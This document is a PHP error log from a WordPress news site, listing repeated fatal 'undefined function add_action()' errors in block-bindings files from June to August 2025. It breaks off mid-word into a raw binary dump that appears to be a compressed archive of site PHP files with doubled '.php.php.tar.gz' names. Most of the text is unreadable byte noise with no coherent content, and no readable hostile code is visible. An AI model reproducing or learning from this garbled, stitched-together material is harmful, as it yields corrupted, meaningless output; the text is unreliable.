/home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [06-Jun-2025 00:05:41 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [10-Jun-2025 04:56:19 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [13-Jun-2025 10:34:05 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [24-Jun-2025 17:39:40 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [25-Jun-2025 03:52:34 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [27-Jun-2025 01:47:06 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [27-Jun-2025 11:06:36 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [11-Jul-2025 06:18:24 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [20-Jul-2025 14:01:30 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [21-Jul-2025 08:21:09 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [17-Aug-2025 18:52:53 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [17-Aug-2025 18:53:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [18-Aug-2025 01:57:35 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [18-Aug-2025 01:58:09 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [19-Aug-2025 09:08:35 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [19-Aug-2025 18:36:00 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [29-Aug-2025 17:45:21 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [29-Aug-2025 17:46:05 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [30-Aug-2025 02:59:55 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-binPK $[Cʋ80class-wp-user-meta-session-tokens.php.php.tar.gznu[WQo6+n@ہ-u^P4aF:\$J )Ŗ#%Jh Z>9G}G*<C.a߱VJqb)\iZ)SjIR\fRR<K_Pa/5f0Nӳ9zsXTI*oo#& /O&z&zkya6*X|vs\JJWn\IMyWWTY^1 uA-,VY1Adj4k !]E;zQ$x?9b@%~F-9PKaG ;4&(QR}tm9N5ƚ-E );ԑ9 8i0\i!2s|i#mAp;AsQƊ</$L?¯a-O5JǢ*4:'SzlJMd 6*ub.H$, "%w5w\iV,1R 7;̑tz\}ѩvn?4=&E~?808*11Jo!yчV hn X9`Hg|x7PPK $[2Ffunctions.php.php.tar.gznu[zG( SimHhJ(uZ$^,E,*`Kanfo 꿞(I&yʒ 8&͎ϒ4=4 w&'i; FaugA'3=s7n?6nߺy;7n;w6փ+ɟY)4G/zxN4ʲ`<Id_n84`` ]vA3*F$6Ώ/wnk߮_&˃| < <''A<ɓ >Gi4Ƀ$yGFU~tdl4 TxK/\G4^5p2 ?5@ǣQF,;l8: 8q$6B~L"xuEy< ,.h@Gd@qJךGkx+;ZӡgyPmt:|ĕ:ie =?Qʚ4Qj_~+ؽcel]YP&gp(GHB(^Χ=,\;BVˀDzΆ4+\>OzC6xb:5};tUL[n~4fRjK&В);p6 c Wph>, |c@Hy" v5C>D|_xzACv˧0oUpI}c0M;bri Ȉ*bʀw1.i0C Rk+k"{߷eYjTZItNr uߚ`Qb8YӍҤi9#vxo9M2D_ ꆜ9P>j2P#F. /b(J9SYΉ3 fj w=9uy孰{4WYTr[$+)QB=G9`( K2ҖxhmP=[7;wA4mRNromk)&ImW98TFnT&n^Kn:?o?^d3Mݱao/ʻeߪilPHF"d$QTxdwq:C^acq^i'@ G(*ѐk|b 7i#PWHNFI뗽,^@?!eVZv=WT*f5\aa9aQ`:߆^BaCHQP#7zW8oP(铊a۪}$mQ dOS.}+}USLP#^VfFt{?I2uJy`hd Qz'~4s, LV/Jc= #YJmNzK_Z΋u'6nnn" =ȷFE6=|ymqmsߣ*d5*g^[UAp“8R/3y-N;8 ̘`wėE vOIl+][,鮻@ B͢@={&x1htJLvXk{,!W| Q^dDig,F%xFyQ,0$)fs`Iڴg4!:J5Y{cEhgIթiufS.Q#?9ӈo/J{ըj^tg9E(; NIm!aqo-GdF5$D|07IkRh|b*MIG8>FAV2Cɰ Ȍe{\QHuЕA%_R: $;U򝵱yeΎ\ǥxtE ]=m :m}鴉fU|Ӑbi#y3hxWT/~jmxgO1?S C<"R=2pN1Ypcjnm kEwY꯸(4(ًhCq햛.ZAk'tпD- ^i&1D[: Lxf1#'E?9yloޔ83[wnl u6H=y^-m5:c<,, $ ^̦ٶWGrd]6pA)(wc3yfeK*M| P4yi_و./!f( ;Rs+k:ǧo`{]&341% Ge5{&5N҂,EkA hHsc+xDf߷їEངHf0e55S>uv^XWP46DPspNnju;AF 4wœum8ݺ5xF3rCv&C6^M2:G}b՟ԝkc6K!N_ IN.M8@+馄:Y`8|,ЀΝ$c1' tn&Ze4*Aa2;{[*B: ݿqkeDbGAJŊY ª7:(]uJ0/:N/YD!\ʃ-:!A^3g ^}2V5QHW2Gm/2ěqIG-3-b^a7hg#6j5m%{ /a`gصCJGѧMRo6/=zf۬ޑI\oGIܽϢqnncw!`IBàJэ؎l;߷}un| \sq[>XC:'ɡzaZC}OZ^e%<+|ylI~I]\#2ens닛[jqWVȪ1`:haGe"b X1D(.qVyO L'1SӵPPYeR#!Y$%Wx/ T\GtЃs;K Үwj_#=hvvmucR `Tc`qƀ)P l-D_0KV:t}B ̣$TPӜT d6$(18tM ,+tAGp\c'ҰiM>%^#x ig]1Sgkɥ] л6$oTS]76ۆG J ֥ʵ,.ʮg6Kc(,lYݼKڨ:e{Wn *{W3 Ye0sk!0!'NXyko߼}ǭەN?z5woCk+K+hexa x>*牱ΘMbXx=Zy96 z'?:|nZi:M&4 2bEͶPO Tds, \5gNMs'Kt OaPc$4$AUAJ~%'Y r(t\x>q&`*z۟HyFC@P(d]DÓ+z08aXRgk SX Rׂ5r;wJ`_<5fCȧ֢@ 0$v`-w6u3t!x4Qy߽^q o'?˒Ax!^摫0BLJ:X`FC*cCC6v@hkBQ3#`E@z]63/ Uu_IzJ3LoQCҙDyuIbm&X @VVѓabO9M6`~ڰzd. 0N";kܶ]sSFZWppV8v2'Ulic0}GEG+LRnBu0-3kMQʆ2πc;b|Sv3\)1r9AePk:*,Z+ˌ4lmJ97`3秊ޕ$ V|uBm=+P̻o|>yاW&aB)=C(ZXLXpiSaZҏb~{r$WV) 0\jˢk!޳:tI`\H +}0VaoHGqa:(OVoFit <+{َt$ j'c|t[adl#^i:-Qܒ> Q&If є#֤b Xw7[2#eB=c H0 ijrDKRIa"y0@h>NMSQrW|ueT>x.>y q'r vvɘ5Rэ9MHc _o:7E=| T C#A-"n\Xe},ڏH8N_`_v4wa^ݑ/ф1GSX"m3Q@Li# ϝ' 3gO Ǐ(\tib ?tffl8ɷ\3>3|Jr2T6 ^p cT5o4lsLh4Nl@}x$ڜg\r6zpUK_Spf5hiы 0 % @rtV?ّ2'N Ȧ5)X2ʮqkQIՋB.)括o*VeU7m^"ҤѴpyYH'flcIW+&.y(=d4pt`Π|/_0SR#sOaM6 yn[mh MeIv-;/-d*gW4W_ ՝NS-+W?(nђNdg_#Oo7 +WkyKMW:ltNCjk5MY#y4&E"UJ~TS8aXOB ~І@xFNn粞=ʗK-K {iRh5/mNƅ`)Хxy:IdK3!ך9[,DCsB(xV\].#.]68 ڔRs&@6pIfYSJWnXwQr&P~xēaW`*o|ue1FF{p'm6E"oM H0sh8Þ/ ˀ7v'(8B&9^4>9a|yQ׽Dr~c*2J0DH3fƥ)Ce}<S<|q6{;tyϧmbD4%!=(4s Y<+J*Y˺,!*:-=;u~cX3Z 1-q:'Yɤ-̪ F1FΓZy8䨠/wa\KqVI<\%(}oP/ejdNUSn8+I]%TSKd!ipGgJ}PLMbloT`FRw ҝdJDl?=b/[Rc<;慎e#=#9Kfytc|RSɴelI֐/gSUo!\T]s>uHd9 0Űs$Qzu|H=.1wsWX Ðڏ1RBc >3¨iH ޒӦW*_v L|@~d:۶{ug!g1gRamV<nP^>`ܸ nn???76Ɔ1tv7֩Ժy˫u Ԃuw-vܑnn* ğY/OzJ(#p0D0)E0L  jOў!t <\ɚ9\a^9ufy$7$ zz@s(3-I1ZP@ }~2zͦ4\rSxD)Շ}@QٙI޳kZUw[}~G<40(C/D!o632"QސQ>$DR熌^F 45<'He^ cf]з3[Gw]aiU]F}np 5oH_MB_͛J9!rC}{CPcX}l` Ymۦ]ɻ;J 0Dة<EZ?:Ŋa+b "c BV<nx]%w0IGKtKQ"ϛB<9 2җ2](Pb2:"?qqѸKaEw{oxʣp(6e5UT$M xZ#{2 Lⅸ>A[ͻ)}jr-olxp r81)}Jit j? 3e ޒ%\+Ek\ikPd,=1+M}iOK}'=8h/[4i cDAJwZ Ca5f;?0wo뷶OÛ2Un[VS҇M 5įYcv1Vp߻>Mr4(\?ϟk,U_@MW陯Uwf~鵰c> EKJ/*pfBx\fA&ViK K!" FX=")D :FAB^G' BMB2 'Oj]+w_F)P˖9R"9_|E"$IZD+Q[on+}v)t%8 q#S#&UeaN/ T签#fY8#hBvfo)"Z(7"}>}Wo+b rK*]B%XmL;51SMn4\a,[V˞RȬšrGu[p ;V"*7'q|^ۿ 2 'o1vrNx).&qyeC 5ɻMq9 ipx}(Vz&;~L?%9YJeqA'dHc"TH"xs9԰ S-$29Sl8|A2᧎إضQq'Ʈ0B0$'B g1jrjKH(2}iGyhs:L"ꆸE 5i_] [(sFࣳH9ǍbO!Br/7 HAgrw:gy8Wxa!~ڸ4623jL&'Hou+?W4;sLI; Ai/&U6%5pFͪE~tr 9_.ob7 hxG-8RPU^;XĶL'-S(hG0OGaU><*Z1y1I$DS!B$/ iD8#_;QNEdU(9 Søj̹n?(tYUn` Xx~m< $@lB8_~~Y@ȟgR,<3|,l&Z/hXm;92 P[Aw%`b(LAƉ&paJ W0 Hw%$s)î|#Z cjMD /أ,?nU)̐c%+['LjJc`UCo}*$BesfK(4([ӦGirk1/ ÊNSM][v  /Z~Zt4s'2L+ Ed1P [Q"&eg&qeZC]+O muyK'WEQAݨW.6TB-Ym 9Q&˛|e.ol41{N,jBv3%E/8#JT/,P- 5B/t20Lr2l7pDt h͢58cxn r ˾MU5FqSl9;SQ46zV eg0ݐ_%<:Y!}T1JR#k7W&1.ddes0fRKNr٢S9Hob&nG)MO[4r,LVd4'>44-~z uU`b41IƬkjG 'e6wh8|ce]+%i)ګQ`ah;`?V"=>y8NqoNa"LY[ 8'p| ]eo>Iz#E뗼2ZbTѕlbX]&EDZe&Sf* reT̚q?GPv ]b!cv/ &v"b$j|FqeX$MěAhze;*]qfb}ųޫΏOw\b;N]Nm2IcRAUH`w+ױc^$<2UT4:4En|Uաd|Χ)^OȐU|MIS HyQ& Ј:lOiAϏ Aw+{۴,%{k/v;ntz4 K*ưN"~7n,H5Я%ZTin)Q^ alnK%ص Y^ƄݜFn|+nV^kK=kPPAۈ_N=xqz퍚;|T!4zSXʿeW"c5K2L w=6NgQW AI)Ă (YFO  na)D0qJ(!/{(帀BPs${/zi@b [G9ذ $sA`2i#{Oz4?A>r:Qр6~<+Ӆ!IXhh:o2jmdI~֨y"|_R7JruR7d5ƧIƑl. +_`C)en[9"[-#|:^4z8G!A2$A 0Ajޣ޹RY Ngx@4;Q~?mA)v)-$tP5dXI98ՠ!Uȡ2iOtL?^"~xޚ,FUr3a*їx dPϝIqMX9l.d-m5zcބYaNQinL`h^ jH.}а';.u (~aJ]@ofB[iɑ$s 4B'0ch:9 >Fmf¬أ%)v!Vⅰ-ֹK0Ք-zp"FQa_KLEk\L}WѦ׍u-$ObW.OP 8\6^cf"w&n1(\"ɓbbol9RtX%r\đ;"E$8&fL^ ^wSzbniP4%WwPj[b%4ZBm {1]dRICDnBptNb0NG/{˝:A^G&T6\ iC=vèr<WߞTF.'-ȺɺZ綀N}G~}Y͛A?߫AJЏsZx@+ApL48*DM0o;)X5嵒䟈8d`K{hɭA 8H[NJ0EkGMf5變&{mﵶv ݇n kЊttlN(#'F1)(w*#]kyC^~T〲M@pap Ց Vvazb5hA#q-/Bx$~:Vl=vg,PM82RGeG*騳c-ܣuS\ǎϦ6y<ηTq,(DOjp$%߅3+tWr7yȹذA ql$B1eR#fxM׉{t3!`q?A;jT{10}#5>KөN.0lTLf24flvR/i׻Lu;LҤ"޺{([Ȉt\naopW$1ڥ'匮'$@W/f8Ajo)eFRUR*% 4.L7R-K s*~e__DQ;~I(6$tR]kg*d2\ S\S~!?*̪bZ0 9d/0$)!Cjӕ0E܎ȾR} FpĮNacM0h!tΦ# oXh|g@2JF!Q8`OnHXGXE`;1U~qๅ6wr \W_oJR3]l۰Zꍦ|z7rv%A= ns r3<"M2&R-wIxX6URlhЈ'LJQivgN)n(Lhb%TNeԹaOңـ\eK 4c8:!Z&.a52<^s""e i(á.0N;-뗽G/>?uc#2 xU9k6Yܜ4VQk%EZQs{9>d[wĮCaǬ` _+OAW,Ƒd*>Ռge~x RizmK"))dyAiK ]m w0`ѾΚeҾMMOWr8.KmS>'ij0:F{P\`*"F'k2x1K/E7HyV' O6d\ {/zOv=[0]OE>02ӟ =9䜆NIZ"PI(U q"o| ʔ4ȄOO3N :T2{t)0{+3 ۜ{qiG%1V ?,]7j.Fh\Qb YRNxD=z;FI^NաBXdOle&?bسx<.x_TxZTmdj:>od,?Fjr‡.0Ln˞Ýjk`eUf9b1:8Ѱ\;ԔaMwl*~ŚJ e3{X_h]b+ JPGgK96sGVlR$GiIC SϷOAt] "o< ޶DIeVg!a6`PU& xAgr©Mpyon' :sD:\ >xtBw=H"C5L|Myjp0X$z-R?lDIYr Z:?;!Dd pR*ƫO_<>h8c t52մ enx#frfn*2doNee+NtI¬]SH w('F sIl\U'5mc/ &I4ZsCwPBR[;kI@],P;P~ &&c"JzR|# 9+kKE,?WzrSIBcD0vM@s{5KkF6U濘tC/9PQ>aMDOJ*nhQg,80Ι8&*UI:H0ױ+U7(;e/Jd^^b梿iw4$$'bQd:IA` ErxکmFU^W ( %q=wi!rs6χFFSguny,#K;Gܖ]HƦ'V/sD"oIX &&Aa/MMtշv:1ȡo8-.]d]BQ,zGzE䱊Wp^AƁ=?e_|k3-yM|;KvQŹkZ1EӱSX;U,i@Ak@{&(۝$X\6 ..!w>IN!kЯY6FtLYI=]k5FvIJK02<:<?b+蕓EbvUnf,-6$ƫ _]SߠyF6,bdU 5Ƶk65zHD%Q2Znz@Iq -;Jrňp(?q²Hdvȫw/WpgۏZi"Бs}1sa/w\4HU[ Y=SEF풑o2u4e?ZHPv11 R2G7F mp_䌯E}siSaŔeMT_Jݕң!&d"O Y$ k Y[,ܭQSM- 0M2pЇ S`ͫ6Q̈d[TYcdR>M"IOMN3c6zc'ddcK#mۨoOI chI)9R3[,KG {R.V{u#,8˚4oys I wR Ub02u!G Tyb@u&t&W³W2K5I׫4$^<SCGa^#hX`.O$@+PH'! ®塴{v,PO,PfU]] FhVǙb] T:bsnX`\a3$p (VX<6˄- 4lSh'q]uS9hukR^V.))/6F9sKm[ U|76%zK TqX^y5kb*10),`IDEFImdg]&` ڤоs,@]Yǧ/~(%[r Y3f{@q/XgscǖX@$bK(* ~=ABUQ+l|&viqX&VY(I.n;FzBsT.95 P]ܞ۠q5\!8uO00YgUH"+fq#k9ƷFdEHsrPHi`!Ȫ q,$9b"Jw:^QaYY,w2X}b6-&%D=C9CA->A I.h)|8f!-P0B@{^!4p2lSNIe\pe\TrALHc>)7t{jhQbWJ;P72Z7F./C”.*.ȊGЃtSKSۖ\R4p8Q^-vrq .$V2s;tjUyeꙙ.~(&zݬrW{ZgHx+$<:wi<$Ue0;@Zs*3^\!5Ƥn vhtFu g6 ZIo{RTo rc 3)~&'=ID6,[H(4WȚGx rB,$-DuӢ3^.؛g-y,9SUGwrCng6b;WK|u79;/qWO{n2%D(*('{O)&%0gK {myBr;v+a*aHW]|v!FiʇkXjJlPbʯY]NAQ90+ȺixCS"09/y|ŽUX{7Lag~$8Z/Jr^Cp= B]HP(`L=hT)J % &É\uq1IM|.+@+Q)(I\-IhFMvU z4@ϙyWu ^[CV='Lw en5LMSIwG@?&ډ.NDӐfu~'pe9]C6ouNI|Aq!a&J]@֎_AVs`h;~1C+HUB @Vn75 "ٯmH E0?f 9~rU8S@-LOIRǬ!lfv "CJ3fL /MJ44-[7&+?Zn5G=ɛ ^9;OAܸ̘'%Š~yF;Mcz֓{_}wmN!>-T(</7ځmةm MؑXLP1RҚ (̉HRM=I){{m\O@֥⒖1`VEQ}:&qBr77o޸KJOG$$:|TSs3ᚰ+Sޞ oIUIe,Iq:ʓ 0poqNuuwNl0y}z҄=teR{h) ?ɱLC%a4΄eQ=MRp3Zި/OKtpS3C[L H],`|Q^,vB$2';P3ʨa->A ~DPz@nǚۅoqyI2Ll5+g-ͧiH4jX r]r%E|쎴pĸ2;LҁLtMIt-OI(xdtÚ~A=Qu驊3g)5XPKYNnQ3⮞dsMcowE5c sЄNac~P)ה0E|jnל`UyKOd3gd(8|zsn>+aK\=eD~ٮ^ Css6)7̱V%NBcc̞IT6W`0=P8N| F6ֿߋ7.w>/B]79t^3|ZKwתr._k<4cY9#a>s>2vmwA5S3X8S]]UCaxk:-y#|?wN\l{jd1x23Wjj///aR쫺+o^؜"<'_,Vʒ =#2#z4] Bz=Vf&ZLJ7}$9*`ł'݂@f  ol jpXw0aH8hTCIɺ!↉EQ]8f;1p2)H)O L}P' $oQdODk[OC` c+AE[Wx]3u-)l:;2C8 ![1UKVJ"jԗ dZ'6(hԮxG{⻝ "|<]H:}0u,8Wy9sn_UuaݕWVr-<*Xxom+Hx-FH'Y8Vq-! 5 '5QyM:I 'pE/$5eF)^_ I便y69ٜ( עF-2nϘh'tу}m"9J1Q)4qj#/dZSѼdWu+ n鍊e8`?%xhSO3$)Bm3;egRK6ܗ EN1Z1cwY[(v憩 Q,1ujX Lۇ* ygӉfW8ۥ/F-Эu jH]&yJ;TRgK3mgsLYwcZXv-5^LOZ[\MS;#@o3q"[e 7u9nޱ N-PkǠN+PQY7 Fá]{2r $0su5FqBA/7F6]+ObV&3n6yi"V^Z6 C. sI(1>AFZ"Yz3z6^4mT@o_O"iJDK%Ղ:U4Ф;ٱAɱ .Kkz|hIFa6`ٮ{c͚^.6ޫVMl{aК0 bI& @Dh #MN/@|B ؉g"IYRܨ xcxzܖ+8:RXþt(.ȢI[_ Ԗk ^/eMϨದgH.\jrSQ1.vE{u++:si%{˴D@\+vHnPIseY Zhbx *~ /,ˁ$-D?qX`gEy^X8 nXb@yA%+v FhyDF :3\kTI-j"Rg`)*0My`P pz5glM_6~oIF0U̫t& UR ɧ6bSQ5Aռ=O=/aDd08Nϧm مa4FgzTPd|c^s^c~)[*Тi^[cgxQ 62dK9P pX`x(ۍoڂ0NZp~FC僲:g4!2gFY'|Ov2E}y@O3w''f+eE9^s694+iI"בDͼMȻct{%1&^_NSy=TV^lB HT۩T 6Yjh:/^e֐g-:"1'v<;rMVϿ04; ޼8{1{Twnb,d2%qK:nqrT"&Χ[":_ `#PkU0lTע$KVFn"^o>="'/k}Z:f/2LYrM؞Y3+=vW"GE}/og:h|T\~ k_9bJ.^hߝfa4g2`GӴ~;a3#f8虊٭pM600-,/Elp0F&竲]撾qtGbg:?Q!MNqKݍJUDmYVQ&-Eĵw nh8\I<4jS&r)+88b,ϗMtZxԓcXcgs;څ6vkTꭳpx8 e6l. 2c.*?U{ߜW0`:KIt^.~œYͨDb~:-" U hm4JW\.NXG|N[l~P 6FY^"}ځ] m 7Zu}ƐvToҲS1_uW7ل1wfnclʊSx}OT5{zJȄFr/6,w21"J\l}\xl@ F.Ept&PiitҰ/) G~ B S9B/v^S^tB/EPU̟R5.]'3}%+fgx+2hџO8=:ϰY1,ݽG"x,M.Uq(Ԙ9 dCk Q4!!β$P3> m7icsӣVTq"K Y1(|R\3a_4/2FFv͍B)81qnXvN?<߸zga",sC(u%D1vsL] cZ!m4F ^닌B(;ہqH6߆3:MPLY/[%#[_4ٺ D[A{|S|ds;] * T"nѲǵk$D$9I݆ X1lݳɰ}ɭ`Hu 62x7"\ HPNy )>-uFOU3DQդj}@kj&FY }F!pآD;wܽYUXip hw{q:B覓憐ZH3%RAg]L$,0x3#` 3'nNf%z`  3#u$d\AnSX=~SRRSk HIIFeOȜ3.?L`!ҧBggVB qZ!(:G>(gx ~(!CKaovHhO0;%Y@e юC0{:G2W䰝r霸# NёO6ރC!x@B7tv:)6M^uKj]y-Vhl?8SAaIGzVGa*Ѻ )6oGwJ u2c!!iEgI#+ԣ{B qrZȌ:͵"5d֣ ]~4r()=H.˟ sgl%A+5@njYMb8,;]lٙyα 4'-4/;˵wbnN5գyWHjzt$ԕu<ƾw\rgPk~U9x7h͔uf5nK'ui5|fĐn,ſIU7"sjTĘwe{b7;i葉q^AwhuƷ*eNq{jńw]-iu0ri^[vi^[_z\t?[\~'\~{[}[^-}j4=;>LI^@(:+/*=Kk hg{5GnZ-oǺWagvgtN0 a4SVB.|D5D{!]3; OlpAlu)zS6ZVޓw*;J ^$s1*7U5VMi6A d୤m9~{㫟$dWlޣ݃7t9fX/T 5$X>#2u4u;DY`7 |'tV(͞PP:mp3%<ExEW T[fߚ=UYb 1bȆCÏ~6bU }m9XH DqS5`~_Hkn0Vץ AgFh؏'E C-1e!=yBTWQ*ڼ7o3}Kq5y:M2杛nnZRiŽhwęڒ>mR*O {l*LĘ$ A~O.xǹrFֻw𢻷(ظyMjXkӄewѦkΙ& 9LexFÁ:kNn}1hibdooM@IӹQV@l $wtS6OcJb⚣`sʲ6ClNYӣBn jUzX^JJ[D6Fn8gM(H>27bC*Ir)7y|"{rVx<_ r> Ze`޵ͭ4iQat:8 *!@u tjĵ`(x ]W`/pJњ.^ #4J{2hv.kn +CgQ8횚;;bXY6]E<<;2C o-<5W*RJМʇW;ǧ mSh-+0")?p-@&o ot/y(Uhnm@gWZ2G=KaV(|@g nhMF'h/w1Jlkk[F|iDy]l y**ܱQ0s"X%$K %'b0_l)zob;z]y*r[DSG$3kZӿFp^\yV͡k޼\sn]_'0;f50"ߝ_Y +Ō̥S k*]jsjY]1,5ٜTE:?#fcSi'v#_Bp"a#3pMa*|"?-Vf\9`S?9X\yGOaOY@FψI X;!_*q>ˍ=+0lGDqmskD^p>3* @OSht t쀟Gh6f$ʓIS3}( QhK.sXZ˼zuJvYU\2\tL/MNMG *TO𪈨l;%ԆHWk`Nvf@U50f#{~ r(=ȩ.O?Ok1Hfc0t#x@GWkA=gi֒ʒӗOXmp=rӜST.](' #RmzFr#AyrB1/jfVY'')^ZR (^1J*D^pmn>vaID]4) /{K "QS$. xhb (j&Nv,NM3AB( 0hoӟk6!$"0~b3`Q˽qBnL(;qg3y,Ac,Oq?d=GgI{fkBQ/ X7gC+?  }?`i[yJf4:wWs`8T@' ;}ɃF(L1υLcn$@+ßHv*0# K@+*SdbW"AH5ܞtR7",1d.璤9 H'͡I`U?$ 3R_2_S'%˟_ ݹp 9=폓ED؄9dljHԴjY8Fɒ=2&rt\h$O4mq䪩*RrӀHEI3-d^=U䠕:uVtfn綿11뗽WpUL &,TYZyL*5߫񰕑y,E_ل7Ma ݻY*.,ńDNd#goKg6q=iyv ~#)w"cӨvMPk,d=ҪbC R8D{[%5eIF+KyH2o -ph2-i[l: /`evG0K75эS Bp <|M`NL?Fr bEǹ =^DE/acG,YኛHq8ҥCӝ$wjzd4M%ެ&]HRNg,7DʯxŹ_Ld@s7Y=o0Y.Aܮh3rMҍ{UثԾQy>ԥNl8YCrlG=8|pޓ[A!Z=Ph:=4wO449a&)4h]!|itM@r>0ɈJF7KGv@P:ep/55'6vq m\8`iӺRb2 gC?fQzhfU^ xΞ=X3BtS5WDyypnLdwfT"d,]$_dTH'0#Hpt% 0k"+>RZmj_صVԗZb]bZڔqz\\AaScY=t8 n",f8 ǣ+U2eC .p9~HBY+m&-Prf@dmI>C)r95M\` ?IݥK:O*{K Nr hRW`gD:Y5eP2%Y9%_bG +̃qg2B1w35Zc!<)0Bp#A# CtrHg,oFX3=duReKj Cu!Fm&s|Ogu`Rj^=lYc"'񠬜ZF)Vk9Ap+>ZHR0U^.Ml W gȊjB:"쬻y/B@#ӬΒܣk S|Icīt3>/bɒIO/CIzh.zRH=0Aӷ:~! wcqⴄ"xHͣ DY_f<x&. Ԣo=hf?9.b4Cr%r`Fh|+5mGZFvq*P|QM ̀UktD7`0d'\YϠ=@9h 5y٥ꜞY Egp1BAYOXq=c #P[DJ$`- 8 {"nڊH |liMzr$}P5ғ/'4iۛf7x p[^?=x;y+A&Z߅G˖;~8 |ʥq*r>mT$_k1g7B uH9'+om^Ù)QDC+FVuvƬg*!I<ԋkb2뮕z@xol=f.y eH{Cvc ~ydhѨ#l Ma96^9¯0WTr8,C-9!9&$q2y;ۇh+0!)G\NJOA888'?W_-$B 00_?LL gIh rWStM;(n9st{ŃM?Z G 5stMI?mJ&ɢNkUNyƗ~dhi:!frؘc&71oXb<Fh܏+V"4Gi}6WɾP*/3Dge4DIdKu2 >iCdxYU>JE%x|= ׇ7 %71Y8ǣ˭M;2ˣq+7g~?` :I<&S&10>wht GjfP <OhRjea l2Yf;랁4*|tun"W_=nW3$TG4Mt$e;|2_i*7S[̝M6v3؃=(n$d}ߥ\NnzΛw3%\wRJ?y/vǮ珨U"\weDax<Ý3s8_VJ|엵4v]9;_Nx}Xw'r0E!3eR\_JEzZٗB/eK^jXBLˬRy쬥<>raIybLZPXb('{wh_V \j_F`K.you\]r5z}Jlym^*ƼkLslk\`MevLv 5"!xJŞ@"Xoy`W^(lMzVfrH]y+JZXv\WKg׼i|F!W)br\=jz] }?7d\eAҭ{Ckr8ʿ/t 